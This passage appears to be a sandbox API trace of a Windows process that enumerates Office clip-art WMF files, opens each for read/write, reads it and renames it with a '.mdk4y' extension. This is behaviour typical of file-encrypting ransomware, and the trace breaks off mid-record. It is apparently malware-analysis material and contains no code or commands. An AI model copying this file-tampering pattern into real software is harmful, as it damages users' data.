[0137.838] GetACP () returned 0x4e4 [0137.838] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01193_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01193_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.839] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.839] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821306900000) returned 1 [0137.839] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x488, lpOverlapped=0x0) returned 1 [0137.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821308600000) returned 1 [0137.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821308600000) returned 1 [0137.856] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.mdk4y")) returned 1 [0137.856] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.856] AreFileApisANSI () returned 1 [0137.856] GetACP () returned 0x4e4 [0137.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01196_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01196_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.857] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.857] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821308700000) returned 1 [0137.857] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x91c, lpOverlapped=0x0) returned 1 [0137.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821310200000) returned 1 [0137.872] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821310200000) returned 1 [0137.873] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.mdk4y")) returned 1 [0137.873] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.873] AreFileApisANSI () returned 1 [0137.873] GetACP () returned 0x4e4 [0137.873] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01548_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01548_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.873] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.874] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821310400000) returned 1 [0137.874] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x284c, lpOverlapped=0x0) returned 1 [0137.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313000000) returned 1 [0137.900] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313000000) returned 1 [0137.900] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.mdk4y")) returned 1 [0137.901] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.901] AreFileApisANSI () returned 1 [0137.901] GetACP () returned 0x4e4 [0137.901] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01657_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01657_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.901] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313100000) returned 1 [0137.901] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76ce, lpOverlapped=0x0) returned 1 [0137.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313300000) returned 1 [0137.903] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313300000) returned 1 [0137.903] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.mdk4y")) returned 1 [0137.903] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.903] AreFileApisANSI () returned 1 [0137.904] GetACP () returned 0x4e4 [0137.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01658_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01658_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.904] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821313400000) returned 1 [0137.904] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4604, lpOverlapped=0x0) returned 1 [0137.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315000000) returned 1 [0137.920] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315000000) returned 1 [0137.920] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.mdk4y")) returned 1 [0137.921] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.921] AreFileApisANSI () returned 1 [0137.921] GetACP () returned 0x4e4 [0137.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01659_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01659_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.921] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.922] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315200000) returned 1 [0137.922] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x79cc, lpOverlapped=0x0) returned 1 [0137.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315300000) returned 1 [0137.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315300000) returned 1 [0137.924] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.mdk4y")) returned 1 [0137.926] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.926] AreFileApisANSI () returned 1 [0137.926] GetACP () returned 0x4e4 [0137.926] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD01660_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD01660_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.926] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.927] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821315700000) returned 1 [0137.927] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x329e, lpOverlapped=0x0) returned 1 [0137.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821321500000) returned 1 [0137.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821321600000) returned 1 [0137.986] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.mdk4y")) returned 1 [0137.987] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0137.987] AreFileApisANSI () returned 1 [0137.987] GetACP () returned 0x4e4 [0137.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02068_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02068_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0137.987] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0137.987] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821321700000) returned 1 [0137.987] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b8, lpOverlapped=0x0) returned 1 [0137.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821322900000) returned 1 [0137.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821322900000) returned 1 [0137.999] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.mdk4y")) returned 1 [0138.000] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.000] AreFileApisANSI () returned 1 [0138.000] GetACP () returned 0x4e4 [0138.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02071_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02071_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.000] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821323000000) returned 1 [0138.000] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x88c, lpOverlapped=0x0) returned 1 [0138.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821323100000) returned 1 [0138.001] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821323100000) returned 1 [0138.002] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.mdk4y")) returned 1 [0138.002] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.002] AreFileApisANSI () returned 1 [0138.002] GetACP () returned 0x4e4 [0138.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02075_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02075_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.002] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821323200000) returned 1 [0138.002] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x112c, lpOverlapped=0x0) returned 1 [0138.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821325300000) returned 1 [0138.023] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821325300000) returned 1 [0138.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.mdk4y")) returned 1 [0138.024] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.024] AreFileApisANSI () returned 1 [0138.024] GetACP () returned 0x4e4 [0138.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02088_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02088_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.024] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.024] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821325400000) returned 1 [0138.024] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe70, lpOverlapped=0x0) returned 1 [0138.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326100000) returned 1 [0138.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326100000) returned 1 [0138.031] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.mdk4y")) returned 1 [0138.032] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.032] AreFileApisANSI () returned 1 [0138.032] GetACP () returned 0x4e4 [0138.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02097_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02097_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326200000) returned 1 [0138.032] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x61c, lpOverlapped=0x0) returned 1 [0138.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326800000) returned 1 [0138.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326800000) returned 1 [0138.038] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.mdk4y")) returned 1 [0138.039] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.039] AreFileApisANSI () returned 1 [0138.039] GetACP () returned 0x4e4 [0138.039] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02115_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02115_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.039] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.039] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821326900000) returned 1 [0138.039] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1234, lpOverlapped=0x0) returned 1 [0138.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821331400000) returned 1 [0138.084] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821331400000) returned 1 [0138.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.mdk4y")) returned 1 [0138.085] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.086] AreFileApisANSI () returned 1 [0138.086] GetACP () returned 0x4e4 [0138.086] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02116_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02116_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0138.086] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0138.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821331700000) returned 1 [0138.087] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xf94, lpOverlapped=0x0) returned 1 [0138.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821336300000) returned 1 [0138.133] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1821336300000) returned 1 [0138.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.mdk4y")) returned 1 [0138.134] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0138.134] AreFileApisANSI () returned 1 [0138.134] GetACP () returned 0x4e4 [0138.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FD02141_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FD02141_.WMF", 